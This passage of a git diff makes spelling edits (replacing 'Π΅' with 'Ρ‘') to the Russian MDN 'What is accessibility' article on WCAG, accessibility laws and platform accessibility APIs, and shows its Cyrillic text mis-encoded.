<li>Π”ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎ доступности с самого Π½Π°Ρ‡Π°Π»Π° ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°, тСстируйтС Ρ€Π°Π½ΠΎ ΠΈ часто. Как ΠΈ любая другая ошибка, ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° доступности становится Π±ΠΎΠ»Π΅Π΅ Π΄ΠΎΡ€ΠΎΠ³ΠΎΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΒ Π΅Ρ‘Β ΠΏΠΎΠ·ΠΆΠ΅.</li>
<li>Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ ΠΏΠΎ доступности Π²Ρ‹Π³ΠΎΠ΄Π½Ρ‹ всСм, Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ возмоТностями. НапримСр, сСмантичСская Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° ΠΏΠΎΠ»Π΅Π·Π½Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ чтСния с экрана, Π½ΠΎ ΠΈ для быстрой Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΈ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Ρ‚Π°ΠΊ Π»ΡƒΡ‡ΡˆΠ΅ для всСх, особСнно для ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройств, ΠΈ/ΠΈΠ»ΠΈ для ΠΌΠ΅Π΄Π»Π΅Π½Π½Ρ‹Ρ… соСдинСний.</li>
- <li>ΠžΠΏΡƒΠ±Π»ΠΈΠΊΡƒΠΉΡ‚Π΅ заявлСниС ΠΎ доступности Π½Π° своСм сайтС ΠΈ ΠΎΠ±Ρ‰Π°ΠΉΡ‚Π΅ΡΡŒ с людьми, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹.</li>
+ <li>ΠžΠΏΡƒΠ±Π»ΠΈΠΊΡƒΠΉΡ‚Π΅ заявлСниС ΠΎ доступности Π½Π° своём сайтС ΠΈ ΠΎΠ±Ρ‰Π°ΠΉΡ‚Π΅ΡΡŒ с людьми, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹.</li>
</ul>
<h2 id="Руководство_ΠΏΠΎ_доступности_ΠΈ_Π·Π°ΠΊΠΎΠ½">Руководство ΠΏΠΎ доступности ΠΈ Π·Π°ΠΊΠΎΠ½</h2>
@@ -168,13 +168,13 @@ original_slug: Learn/Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ/What_is_accessibility
<p>БущСствуСт мноТСство Ρ‡Π΅ΠΊ-листов и Π½Π°Π±ΠΎΡ€ΠΎΠ² руководств, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ тСстировании доступности, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π° ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ взгляд ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ ΠΎΡˆΠ΅Π»ΠΎΠΌΠ»ΡΡŽΡ‰ΠΈΠΌΠΈ. Наш совСт β€” ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ с основными областями, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠΎΠ·Π°Π±ΠΎΡ‚ΠΈΡ‚ΡŒΡΡ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ½ΡΡ‚ΡŒ структуры руководящих ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ для вас.</p>
<ul>
- <li>Для Π½Π°Ρ‡Π°Π»Π°, W3C ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π» большой ΠΈ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя ΠΎΡ‡Π΅Π½ΡŒ Ρ‚ΠΎΡ‡Π½Ρ‹Π΅, нСзависимыС ΠΎΡ‚ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ соотвСтствия доступности. Они Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ <a class="external external-icon" href="https://www.w3.org/Translations/WCAG20-ru/WCAG20-ru-20130220/">РСкомСндациями ΠΏΠΎ доступности Π²Π΅Π±-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</a> (<a class="external external-icon" href="https://www.w3.org/WAI/intro/wcag.php">Web Content Accessibility Guidelines</a>Β β€” WCAG), ΠΈ ΠΎΠ½ΠΈ Π½ΠΈΠΊΠΎΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΌ описаниСм. ΠšΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ΡΡΒ Π½Π° Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ основныС ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚, ΠΊΠ°ΠΊ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ восприимчивыми, работоспособными, понятными ΠΈ устойчивыми. Π›ΡƒΡ‡ΡˆΠ΅Π΅ мСсто, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π»Π΅Π³ΠΊΠΎΠ΅ прСдставлСниС ΠΈ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅ это <a class="external external-icon" href="https://www.w3.org/WAI/WCAG20/glance/Overview.html">WCAG at a Glance</a>. НСт нСобходимости ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ WCAG Π½Π°ΠΈΠ·ΡƒΡΡ‚ΡŒΒ β€” Π·Π½Π°ΠΉΡ‚Π΅ ΠΎΠ± основных ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ½Ρ‹Ρ… областях ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈ инструмСнты, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ области, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ критСриям WCAG (ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ см.Β Π½ΠΈΠΆΠ΅).</li>
+ <li>Для Π½Π°Ρ‡Π°Π»Π°, W3C ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π» большой ΠΈ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя ΠΎΡ‡Π΅Π½ΡŒ Ρ‚ΠΎΡ‡Π½Ρ‹Π΅, нСзависимыС ΠΎΡ‚ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ соотвСтствия доступности. Они Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ <a class="external external-icon" href="https://www.w3.org/Translations/WCAG20-ru/WCAG20-ru-20130220/">РСкомСндациями ΠΏΠΎ доступности Π²Π΅Π±-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</a> (<a class="external external-icon" href="https://www.w3.org/WAI/intro/wcag.php">Web Content Accessibility Guidelines</a>Β β€” WCAG), ΠΈ ΠΎΠ½ΠΈ Π½ΠΈΠΊΠΎΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΌ описаниСм. ΠšΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ΡΡΒ Π½Π° Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ основныС ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚, ΠΊΠ°ΠΊ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ восприимчивыми, работоспособными, понятными ΠΈ устойчивыми. Π›ΡƒΡ‡ΡˆΠ΅Π΅ мСсто, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π»Ρ‘Π³ΠΊΠΎΠ΅ прСдставлСниС ΠΈ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅ это <a class="external external-icon" href="https://www.w3.org/WAI/WCAG20/glance/Overview.html">WCAG at a Glance</a>. НСт нСобходимости ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ WCAG Π½Π°ΠΈΠ·ΡƒΡΡ‚ΡŒΒ β€” Π·Π½Π°ΠΉΡ‚Π΅ ΠΎΠ± основных ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ½Ρ‹Ρ… областях ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈ инструмСнты, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ области, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ критСриям WCAG (ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ см.Β Π½ΠΈΠΆΠ΅).</li>
<li>Π’ вашСй странС Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСдусмотрСно ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ΅ Π·Π°ΠΊΠΎΠ½ΠΎΠ΄Π°Ρ‚Π΅Π»ΡŒΡΡ‚Π²ΠΎ, Ρ€Π΅Π³ΡƒΠ»ΠΈΡ€ΡƒΡŽΡ‰Π΅Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ обСспСчСния доступности Π²Π΅Π±-сайтов, ΠΎΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… ΠΈΡ… насСлСниС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <a class="external external-icon" href="http://www.section508.gov/content/learn">Π Π°Π·Π΄Π΅Π» 508 Π—Π°ΠΊΠΎΠ½Π° ΠΎ Ρ€Π΅Π°Π±ΠΈΠ»ΠΈΡ‚Π°Ρ†ΠΈΠΈ</a> Π² БША, <a class="external external-icon" href="https://www.einfach-fuer-alle.de/artikel/bitv_english/">Π€Π΅Π΄Π΅Ρ€Π°Π»ΡŒΠ½ΠΎΠ΅ постановлСниС ΠΎ Π±Π΅Π·Π±Π°Ρ€ΡŒΠ΅Ρ€Π½Ρ‹Ρ… ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… тСхнологиях</a> Π² Π“Π΅Ρ€ΠΌΠ°Π½ΠΈΠΈ, <a class="external external-icon" href="http://www.legislation.gov.uk/ukpga/2010/15/contents">Π—Π°ΠΊΠΎΠ½ ΠΎ равСнствС</a> Π² Π’Π΅Π»ΠΈΠΊΠΎΠ±Ρ€ΠΈΡ‚Π°Π½ΠΈΠΈ, <a class="external external-icon" href="http://www.agid.gov.it/agenda-digitale/pubblica-amministrazione/accessibilita">AccessibilitΓ </a> Π² Π˜Ρ‚Π°Π»ΠΈΠΈ, <a class="external external-icon" href="https://www.humanrights.gov.au/world-wide-web-access-disability-discrimination-act-advisory-notes-ver-41-2014">Π—Π°ΠΊΠΎΠ½ ΠΎ дискриминации ΠΈΠ½Π²Π°Π»ΠΈΠ΄ΠΎΠ²</a> Π² Австралии ΠΈ Ρ‚.Π΄.</li>
</ul>
<p>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, хотя WCAG прСдставляСт собой Π½Π°Π±ΠΎΡ€ руководств, Π² вашСй странС, вСроятно, Π±ΡƒΠ΄ΡƒΡ‚ приняты Π·Π°ΠΊΠΎΠ½Ρ‹, Ρ€Π΅Π³ΡƒΠ»ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ Π²Π΅Π±Π°Β ΠΈΠ»ΠΈ, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅, Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ общСствСствСнных услуг (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя Π²Π΅Π±-сайты, Ρ‚Π΅Π»Π΅Π²ΠΈΠ΄Π΅Π½ΠΈΠ΅, физичСскиС пространства ΠΈ Ρ‚.Π΄.). Π­Ρ‚ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠ°Ρ идСя β€” ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠ²Ρ‹ ваши Π·Π°ΠΊΠΎΠ½Ρ‹. Если Π²Ρ‹ Π½Π΅ ΠΏΡ€Π΅Π΄ΠΏΡ€ΠΈΠΌΠ΅Ρ‚Π΅ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… усилий, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ваш ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ доступСн, Ρƒ вас ΠΌΠΎΠ³ΡƒΡ‚ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΡƒΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с Π·Π°ΠΊΠΎΠ½ΠΎΠΌ, Ссли люди с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ возмоТностями ΠΆΠ°Π»ΡƒΡŽΡ‚ΡΡ Π½Π° это.</p>
-<p>Π­Ρ‚ΠΎ Π·Π²ΡƒΡ‡ΠΈΡ‚ ΡΠ΅Ρ€ΡŒΠ΅Π·Π½ΠΎ, Π½ΠΎ Π½Π° самом Π΄Π΅Π»Π΅ Π²Π°ΠΌ просто Π½ΡƒΠΆΠ½ΠΎ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ Π² качСствС основного ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚Π° вашСй ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, ΠΊΠ°ΠΊ описано Π²Ρ‹ΡˆΠ΅. Π’ случаС сомнСний ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ Π·Π° совСтом ΠΊ ΠΊΠ²Π°Π»ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΌΡƒ ΡŽΡ€ΠΈΡΡ‚Ρƒ. ΠœΡ‹ Π½Π΅ собираСмся ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Ρ‚ΡŒ большС совСтов, Ρ‡Π΅ΠΌ эти, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ ΡŽΡ€ΠΈΡΡ‚Ρ‹.</p>
+<p>Π­Ρ‚ΠΎ Π·Π²ΡƒΡ‡ΠΈΡ‚ ΡΠ΅Ρ€ΡŒΡ‘Π·Π½ΠΎ, Π½ΠΎ Π½Π° самом Π΄Π΅Π»Π΅ Π²Π°ΠΌ просто Π½ΡƒΠΆΠ½ΠΎ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ Π² качСствС основного ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚Π° вашСй ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, ΠΊΠ°ΠΊ описано Π²Ρ‹ΡˆΠ΅. Π’ случаС сомнСний ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ Π·Π° совСтом ΠΊ ΠΊΠ²Π°Π»ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΌΡƒ ΡŽΡ€ΠΈΡΡ‚Ρƒ. ΠœΡ‹ Π½Π΅ собираСмся ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Ρ‚ΡŒ большС совСтов, Ρ‡Π΅ΠΌ эти, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ ΡŽΡ€ΠΈΡΡ‚Ρ‹.</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅_API_доступа">Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ API доступа</h2>
@@ -190,11 +190,11 @@ original_slug: Learn/Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ/What_is_accessibility
<li>iOS: UIAccessibility</li>
</ul>
-<p>Π’Π°ΠΌ, Π³Π΄Π΅ нативная сСмантичСская информация, прСдоставляСмая элСмСнтами HTML Π² Π²Π°ΡˆΠΈΡ… Π²Π΅Π±-прилоТСниях, ΠΏΠ°Π΄Π°Π΅Ρ‚, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π΅Π΅ функциями ΠΈΠ· <a class="external" href="https://www.w3.org/TR/wai-aria/">спСцификации WAI-ARIA</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ ΡΠ΅ΠΌΠ°Π½Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² Π΄Π΅Ρ€Π΅Π²ΠΎ доступности для ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ доступности. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΎ WAI-ARIA Π² нашСй ΡΡ‚Π°Ρ‚ΡŒΠ΅ <a href="/ru/docs/Learn/Accessibility/WAI-ARIA_basics">основы WAI-ARIA</a>.</p>
+<p>Π’Π°ΠΌ, Π³Π΄Π΅ нативная сСмантичСская информация, прСдоставляСмая элСмСнтами HTML Π² Π²Π°ΡˆΠΈΡ… Π²Π΅Π±-прилоТСниях, ΠΏΠ°Π΄Π°Π΅Ρ‚, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π΅Ρ‘ функциями ΠΈΠ· <a class="external" href="https://www.w3.org/TR/wai-aria/">спСцификации WAI-ARIA</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ ΡΠ΅ΠΌΠ°Π½Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² Π΄Π΅Ρ€Π΅Π²ΠΎ доступности для ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ доступности. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΎ WAI-ARIA Π² нашСй ΡΡ‚Π°Ρ‚ΡŒΠ΅ <a href="/ru/docs/Learn/Accessibility/WAI-ARIA_basics">основы WAI-ARIA</a>.</p>
<h2 id="Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅">Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</h2>
-<p>Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Π»Π° Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΉ ΠΎΠ±Π·ΠΎΡ€ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… возмоТностСй, ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ это Ρ‚Π°ΠΊ Π²Π°ΠΆΠ½ΠΎ, ΠΈ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΏΠΈΡΠ°Ρ‚ΡŒ Π΅Π³ΠΎ Π² свой Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ процСсс. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ вас Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ ΠΆΠ°ΠΆΠ΄Π° ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΎ дСталях Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ сайты доступными, ΠΈ ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ с этого Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅, рассматривая, ΠΏΠΎΡ‡Π΅ΠΌΡƒ HTML являСтся Ρ…ΠΎΡ€ΠΎΡˆΠ΅ΠΉ основой для доступности.</p>
+<p>Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Π»Π° Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΉ ΠΎΠ±Π·ΠΎΡ€ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… возмоТностСй, ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ это Ρ‚Π°ΠΊ Π²Π°ΠΆΠ½ΠΎ, ΠΈ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΏΠΈΡΠ°Ρ‚ΡŒ Π΅Π³ΠΎ Π² свой Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ процСсс. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ вас Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ ΠΆΠ°ΠΆΠ΄Π° ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΎ дСталях Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ сайты доступными, ΠΈ ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ с этого Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅, рассматривая, ΠΏΠΎΡ‡Π΅ΠΌΡƒ HTML являСтся Ρ…ΠΎΡ€ΠΎΡˆΠ΅ΠΉ основой для доступности.</p>
<p>{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}</p>
diff --git a/files/ru/learn/common_questions/available_text_editors/index.html b/files/ru/learn/common_questions/available_text_editors/index.html
index 0a2c769828..b9ef48555c 100644
--- a/files/ru/learn/common_questions/available_text_editors/index.html
+++ b/files/ru/learn/common_questions/available_text_editors/index.html
@@ -28,7 +28,7 @@ translation_of: Learn/Common_questions/Available_text_editors
<h2 id="Summary">Summary</h2>
